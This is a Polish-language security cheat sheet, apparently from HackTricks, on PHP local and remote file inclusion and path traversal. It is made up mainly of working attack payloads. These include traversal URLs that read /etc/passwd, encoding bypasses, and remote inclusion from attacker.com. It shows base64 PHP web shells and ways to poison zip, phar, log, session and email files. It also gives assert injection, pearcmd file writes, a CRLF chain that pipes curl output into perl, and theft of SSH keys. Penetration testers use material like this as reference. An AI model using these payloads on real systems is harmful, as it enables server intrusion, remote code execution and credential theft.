File Inclusion/Path traversal
Reading time: 23 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
File Inclusion
Remote File Inclusion (RFI): Plik jest ładowany z zdalnego serwera (Najlepiej: Możesz napisać kod, a serwer go wykona). W php jest to wyłączone domyślnie (allow_url_include).
Local File Inclusion (LFI): Serwer ładuje lokalny plik.
Vulnerabilność występuje, gdy użytkownik może w jakiś sposób kontrolować plik, który ma być załadowany przez serwer.
Vulnerable PHP functions: require, require_once, include, include_once
Interesujące narzędzie do wykorzystania tej podatności: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Mieszając kilka list LFI dla *nix i dodając więcej ścieżek, stworzyłem tę:
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}}
Spróbuj również zmienić /
na \
Spróbuj również dodać ../../../../../
Lista, która wykorzystuje kilka technik do znalezienia pliku /etc/password (aby sprawdzić, czy luka istnieje), znajduje się tutaj
Windows
Połączenie różnych list słów:
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}}
Spróbuj również zmienić /
na \
Spróbuj również usunąć C:/
i dodać ../../../../../
Lista, która wykorzystuje kilka technik do znalezienia pliku /boot.ini (aby sprawdzić, czy luka istnieje), znajduje się tutaj
OS X
Sprawdź listę LFI dla linux.
Podstawowe LFI i obejścia
Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (strona=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
sekwencje przejścia usunięte nienawrotowo
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Ominięcie dodawania więcej znaków na końcu podanego ciągu (ominięcie: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
To jest rozwiązane od PHP 5.4
Kodowanie
Możesz użyć niestandardowych kodowań, takich jak podwójne kodowanie URL (i inne):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Z istniejącego folderu
Może backend sprawdza ścieżkę folderu:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Badanie katalogów systemu plików na serwerze
System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten polega na określeniu głębokości katalogu i sprawdzeniu istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, aby to osiągnąć:
- Określenie głębokości katalogu: Ustal głębokość swojego bieżącego katalogu, skutecznie pobierając plik
/etc/passwd
(dotyczy to serwerów opartych na Linuksie). Przykładowy adres URL może być skonstruowany w następujący sposób, wskazując na głębokość trzy:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Skanowanie folderów: Dołącz nazwę podejrzanego folderu (np.
private
) do URL, a następnie przejdź z powrotem do/etc/passwd
. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpretacja wyników: Odpowiedź serwera wskazuje, czy folder istnieje:
- Błąd / Brak wyjścia: Folder
private
prawdopodobnie nie istnieje w określonej lokalizacji. - Zawartość
/etc/passwd
: Obecność folderuprivate
jest potwierdzona.
- Rekurencyjna eksploracja: Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy /var/www/
zawiera katalog private
(zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Technika Truncacji Ścieżki
Truncacja ścieżki to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik.
W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne z powodu natury systemu plików. Na przykład:
/etc/passwd
,/etc//passwd
,/etc/./passwd
i/etc/passwd/
są traktowane jako ta sama ścieżka.- Gdy ostatnie 6 znaków to
passwd
, dodanie/
(tworzącpasswd/
) nie zmienia docelowego pliku. - Podobnie, jeśli
.php
jest dodawane do ścieżki pliku (jakshellcode.php
), dodanie/.
na końcu nie zmieni pliku, do którego uzyskuje się dostęp.
Podane przykłady pokazują, jak wykorzystać truncację ścieżki do uzyskania dostępu do /etc/passwd
, powszechnego celu ze względu na jego wrażliwą zawartość (informacje o kontach użytkowników):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
W tych scenariuszach liczba wymaganych przejść może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera.
- Używanie segmentów kropek i dodatkowych znaków: Sekwencje przejść (
../
) połączone z dodatkowymi segmentami kropek i znakami mogą być używane do nawigacji po systemie plików, skutecznie ignorując dołączone ciągi przez serwer. - Określenie wymaganej liczby przejść: Poprzez próbę i błąd można znaleźć dokładną liczbę sekwencji
../
, które są potrzebne do nawigacji do katalogu głównego, a następnie do/etc/passwd
, zapewniając, że wszelkie dołączone ciągi (jak.php
) są neutralizowane, ale pożądana ścieżka (/etc/passwd
) pozostaje nienaruszona. - Zaczynanie od fałszywego katalogu: Powszechną praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (jak
a/
). Technika ta jest stosowana jako środek ostrożności lub w celu spełnienia wymagań logiki analizy ścieżek serwera.
Podczas stosowania technik skracania ścieżek kluczowe jest zrozumienie zachowania analizy ścieżek serwera i struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testowanie jest często konieczne, aby znaleźć najskuteczniejszą metodę.
Ta podatność została naprawiona w PHP 5.3.
Sztuczki omijania filtrów
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
W php jest to domyślnie wyłączone, ponieważ allow_url_include
jest Wyłączone. Musi być Włączone, aby to działało, a w takim przypadku możesz dołączyć plik PHP z swojego serwera i uzyskać RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Jeśli z jakiegoś powodu allow_url_include
jest włączone, ale PHP filtruje dostęp do zewnętrznych stron internetowych, zgodnie z tym postem, możesz na przykład użyć protokołu danych z base64, aby dekodować kod PHP w b64 i uzyskać RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
note
W poprzednim kodzie końcowy +.txt
został dodany, ponieważ atakujący potrzebował ciągu, który kończyłby się na .txt
, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany).
Inny przykład nie używający protokołu php://
to:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Root element
W Pythonie w kodzie takim jak ten:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Jeśli użytkownik przekaże absolutną ścieżkę do file_name
, poprzednia ścieżka jest po prostu usuwana:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
To jest zamierzone zachowanie zgodnie z dokumentacją:
Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są ignorowane, a łączenie kontynuowane jest od komponentu ścieżki bezwzględnej.
Java Lista Katalogów
Wygląda na to, że jeśli masz Path Traversal w Javie i prosisz o katalog zamiast pliku, zwracana jest lista katalogu. To nie będzie miało miejsca w innych językach (o ile mi wiadomo).
25 najważniejszych parametrów
Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne luki w włączeniu plików (LFI) (z link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI przy użyciu wrapperów i protokołów PHP
php://filter
Filtry PHP pozwalają na podstawowe operacje modyfikacji danych przed ich odczytem lub zapisaniem. Istnieje 5 kategorii filtrów:
- Filtry ciągów:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">")- Zauważ, że ten filtr zniknął z nowoczesnych wersji PHP
- Filtry konwersji
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Przekształca do innego kodowania (convert.iconv.<input_enc>.<output_enc>
). Aby uzyskać listę wszystkich obsługiwanych kodowań, uruchom w konsoli:iconv -l
warning
Nadużywając filtru konwersji convert.iconv.*
, możesz generować dowolny tekst, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Więcej informacji znajdziesz w LFI2RCE za pomocą filtrów PHP.
- Filtry kompresji
zlib.deflate
: Kompresuje zawartość (przydatne, jeśli eksfiltrujesz dużo informacji)zlib.inflate
: Dekompresuje dane- Filtry szyfrowania
mcrypt.*
: Przestarzałemdecrypt.*
: Przestarzałe- Inne filtry
- Uruchamiając w PHP
var_dump(stream_get_filters());
, możesz znaleźć kilka nieoczekiwanych filtrów: consumed
dechunk
: odwraca kodowanie HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
Część "php://filter" jest nieczuła na wielkość liter
Używanie filtrów php jako orakula do odczytu dowolnych plików
W tym poście zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku z serwera. Technika ta opiera się na boolean exfiltration pliku (znak po znaku) przy użyciu filtrów php jako orakula. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek.
W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie:
- Użyj kodeka
UCS-4LE
, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo. - To będzie używane do generowania tekstu tak dużego, gdy początkowa litera jest poprawnie odgadnięta, że php wywoła błąd.
- Filtr dechunk usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy.
- To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby przestała być znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
- Kodek convert.iconv.UNICODE.CP930 przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to
a
, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą. - Używając innych transformacji, takich jak rot13 na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przesuwania innych liter do zakresu szesnastkowego).
- Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekła liczba.
- Ostatecznym problemem jest zobaczenie jak wyciekować więcej niż początkowa litera. Używając filtrów pamięci w porządku, takich jak convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu.
- A aby móc uzyskać dalsze dane, pomysł polega na generowaniu 2 bajtów danych śmieciowych na początku przy użyciu convert.iconv.UTF16.UTF16, zastosowaniu UCS-4LE, aby pivotować z następnymi 2 bajtami, i usunąć dane aż do danych śmieciowych (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku.
W poście wyciekło również narzędzie do automatycznego wykonania tego: php_filters_chain_oracle_exploit.
php://fd
Ten wrapper pozwala na dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do wycieknięcia zawartości otwartych plików:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Możesz również użyć php://stdin, php://stdout i php://stderr do uzyskania dostępu do deskryptorów plików 0, 1 i 2 odpowiednio (nie jestem pewien, jak to może być przydatne w ataku)
zip:// i rar://
Prześlij plik Zip lub Rar z PHPShell wewnątrz i uzyskaj do niego dostęp.
Aby móc nadużywać protokołu rar, musi być on specjalnie aktywowany.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Zauważ, że ten protokół jest ograniczony przez konfiguracje php allow_url_open
i allow_url_include
expect://
Expect musi być aktywowany. Możesz wykonać kod używając tego:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Określ swój ładunek w parametrach POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Plik .phar
może być wykorzystany do wykonywania kodu PHP, gdy aplikacja webowa korzysta z funkcji takich jak include
do ładowania plików. Poniższy fragment kodu PHP ilustruje tworzenie pliku .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Aby skompilować plik .phar
, należy wykonać następujące polecenie:
php --define phar.readonly=0 create_path.php
Po wykonaniu zostanie utworzony plik o nazwie test.phar
, który może być potencjalnie wykorzystany do eksploatacji luk w Local File Inclusion (LFI).
W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, lub filesize()
, można spróbować wykorzystać lukę w deserializacji. Luka ta jest związana z odczytem plików przy użyciu protokołu phar
.
Aby uzyskać szczegółowe zrozumienie eksploatacji luk w deserializacji w kontekście plików .phar
, zapoznaj się z dokumentem podlinkowanym poniżej:
Phar Deserialization Exploitation Guide
{{#ref}} phar-deserialization.md {{#endref}}
CVE-2024-2961
Można było nadużyć dowolnego pliku odczytywanego z PHP, który obsługuje filtry PHP, aby uzyskać RCE. Szczegółowy opis można znaleźć w tym poście.
Bardzo szybkie podsumowanie: nadużyto przepełnienia 3 bajtów w stercie PHP, aby zmienić łańcuch wolnych kawałków o określonym rozmiarze, aby móc zapisać cokolwiek w dowolnym adresie, więc dodano hook do wywołania system
.
Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów PHP.
Więcej protokołów
Sprawdź więcej możliwych protokołów do uwzględnienia tutaj:
- php://memory i php://temp — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być przydatne w ataku na włączenie pliku)
- file:// — Dostęp do lokalnego systemu plików
- http:// — Dostęp do adresów URL HTTP(s)
- ftp:// — Dostęp do adresów URL FTP(s)
- zlib:// — Strumienie kompresji
- glob:// — Znajdź nazwy ścieżek pasujące do wzorca (Nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne)
- ssh2:// — Secure Shell 2
- ogg:// — Strumienie audio (Nieprzydatne do odczytu dowolnych plików)
LFI za pomocą 'assert' PHP
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierają znaki przechodzenia przez katalogi, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczane.
Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeniu przez katalogi w ten sposób:
assert("strpos('$file', '..') === false") or die("");
Chociaż ma to na celu zatrzymanie przejścia, niezamierzenie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości plików, atakujący mógłby użyć:
' and die(highlight_file('/etc/passwd')) or '
Podobnie, do wykonywania dowolnych poleceń systemowych, można użyć:
' and die(system("id")) or '
To ważne, aby zakodować te ładunki URL.
PHP Blind Path Traversal
warning
Ta technika jest istotna w przypadkach, gdy kontrolujesz ścieżkę pliku funkcji PHP, która uzyskuje dostęp do pliku, ale nie zobaczysz zawartości pliku (jak proste wywołanie file()
), ale zawartość nie jest wyświetlana.
W tym niesamowitym poście wyjaśniono, jak można nadużyć ślepego przejścia przez ścieżkę za pomocą filtra PHP, aby wyekstrahować zawartość pliku za pomocą błędnego orakula.
Podsumowując, technika polega na użyciu kodowania "UCS-4LE", aby zawartość pliku była tak duża, że funkcja PHP otwierająca plik spowoduje błąd.
Następnie, aby wyciekł pierwszy znak, używany jest filtr dechunk
wraz z innymi, takimi jak base64 lub rot13, a na końcu filtry convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE są używane do umieszczania innych znaków na początku i ich wycieku.
Funkcje, które mogą być podatne: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (tylko cel odczytu z tym)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Szczegóły techniczne znajdziesz w wspomnianym poście!
LFI2RCE
Zdalne włączenie pliku
Wyjaśnione wcześniej, śledź ten link.
Poprzez plik dziennika Apache/Nginx
Jeśli serwer Apache lub Nginx jest podatny na LFI, wewnątrz funkcji include możesz spróbować uzyskać dostęp do /var/log/apache2/access.log
lub /var/log/nginx/access.log
, ustawiając w user agent lub w parametrze GET powłokę PHP, taką jak <?php system($_GET['c']); ?>
i dołączyć ten plik.
warning
Zauważ, że jeśli używasz podwójnych cudzysłowów dla powłoki zamiast pojedynczych cudzysłowów, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "quote;", PHP zgłosi błąd w tym miejscu i nic innego nie zostanie wykonane.
Upewnij się również, że poprawnie zapisujesz ładunek, w przeciwnym razie PHP zgłosi błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy.
Można to również zrobić w innych dziennikach, ale bądź ostrożny, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek autoryzacji "basic" zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell może być wstawiony w tym nagłówku.
Inne możliwe ścieżki dzienników:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via Email
Wyślij maila na wewnętrzne konto (user@localhost) zawierającego twój ładunek PHP, taki jak <?php echo system($_REQUEST["cmd"]); ?>
i spróbuj dołączyć do maila użytkownika z ścieżką taką jak /var/mail/<USERNAME>
lub /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Prześlij dużo powłok (na przykład: 100)
- Dołącz http://example.com/index.php?page=/proc/$PID/fd/$FD, gdzie $PID = PID procesu (można to wymusić) i $FD to deskryptor pliku (można to również wymusić)
Via /proc/self/environ
Jak w pliku dziennika, wyślij ładunek w User-Agent, zostanie on odzwierciedlony w pliku /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych zdjęć/doc/pdf
Poprzez przesyłanie pliku Zip
Prześlij plik ZIP zawierający skompresowaną powłokę PHP i uzyskaj dostęp:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via PHP sessions
Sprawdź, czy strona używa sesji PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
W PHP te sesje są przechowywane w plikach /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Ustaw cookie na <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Użyj LFI, aby dołączyć plik sesji PHP.
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Jeśli ssh jest aktywne, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do <HOME>/.ssh/id_rsa
Via vsftpd logs
Logi dla serwera FTP vsftpd znajdują się w /var/log/vsftpd.log. W scenariuszu, w którym istnieje luka Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki:
- Wstrzyknij ładunek PHP do pola nazwy użytkownika podczas procesu logowania.
- Po wstrzyknięciu, wykorzystaj LFI, aby pobrać logi serwera z /var/log/vsftpd.log.
Via php base64 filter (using base64)
Jak pokazano w this artykule, filtr PHP base64 po prostu ignoruje Non-base64. Możesz to wykorzystać, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", po prostu zignoruje "." i doda "php" do base64. Oto przykład ładunku:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
Ten artykuł wyjaśnia, że możesz użyć filtrów php do generowania dowolnej zawartości jako wyjścia. Co zasadniczo oznacza, że możesz generować dowolny kod php do dołączenia bez potrzeby zapisywania go w pliku.
{{#ref}} lfi2rce-via-php-filters.md {{#endref}}
Via segmentation fault
Prześlij plik, który zostanie zapisany jako tymczasowy w /tmp
, a następnie w tej samej prośbie wywołaj błąd segmentacji, a następnie tymczasowy plik nie zostanie usunięty i możesz go wyszukać.
{{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}}
Via Nginx temp file storage
Jeśli znalazłeś Local File Inclusion i Nginx działa przed PHP, możesz być w stanie uzyskać RCE za pomocą następującej techniki:
{{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}}
Via PHP_SESSION_UPLOAD_PROGRESS
Jeśli znalazłeś Local File Inclusion, nawet jeśli nie masz sesji i session.auto_start
jest Off
. Jeśli dostarczysz PHP_SESSION_UPLOAD_PROGRESS
w danych POST multipart, PHP włączy sesję dla ciebie. Możesz to wykorzystać, aby uzyskać RCE:
{{#ref}} via-php_session_upload_progress.md {{#endref}}
Via temp file uploads in Windows
Jeśli znalazłeś Local File Inclusion i serwer działa w Windows, możesz uzyskać RCE:
{{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}}
Via pearcmd.php
+ URL args
Jak wyjaśniono w tym poście, skrypt /usr/local/lib/phppearcmd.php
istnieje domyślnie w obrazach docker php. Co więcej, możliwe jest przekazywanie argumentów do skryptu za pomocą URL, ponieważ wskazano, że jeśli parametr URL nie ma =
, powinien być użyty jako argument.
Następujące żądanie tworzy plik w /tmp/hello.php
z zawartością <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Następujące wykorzystuje lukę CRLF do uzyskania RCE (z tutaj):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Jeśli znalazłeś Local File Inclusion i plik ujawniający phpinfo() z file_uploads = on, możesz uzyskać RCE:
{{#ref}} lfi2rce-via-phpinfo.md {{#endref}}
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Jeśli znalazłeś Local File Inclusion i możesz wyeksportować ścieżkę pliku tymczasowego, ALE serwer sprawdza, czy plik do dołączenia ma znaczniki PHP, możesz spróbować obejść to sprawdzenie za pomocą tego Race Condition:
{{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}}
Via eternal waiting + bruteforce
Jeśli możesz wykorzystać LFI do przesyłania plików tymczasowych i sprawić, że serwer zawiesi wykonanie PHP, możesz wtedy bruteforce'ować nazwy plików przez godziny, aby znaleźć plik tymczasowy:
{{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}}
To Fatal Error
Jeśli dołączysz którykolwiek z plików /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).
Nie wiem, jak to jest przydatne, ale może być.
Nawet jeśli spowodujesz błąd krytyczny PHP, przesłane pliki tymczasowe PHP są usuwane.
References
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.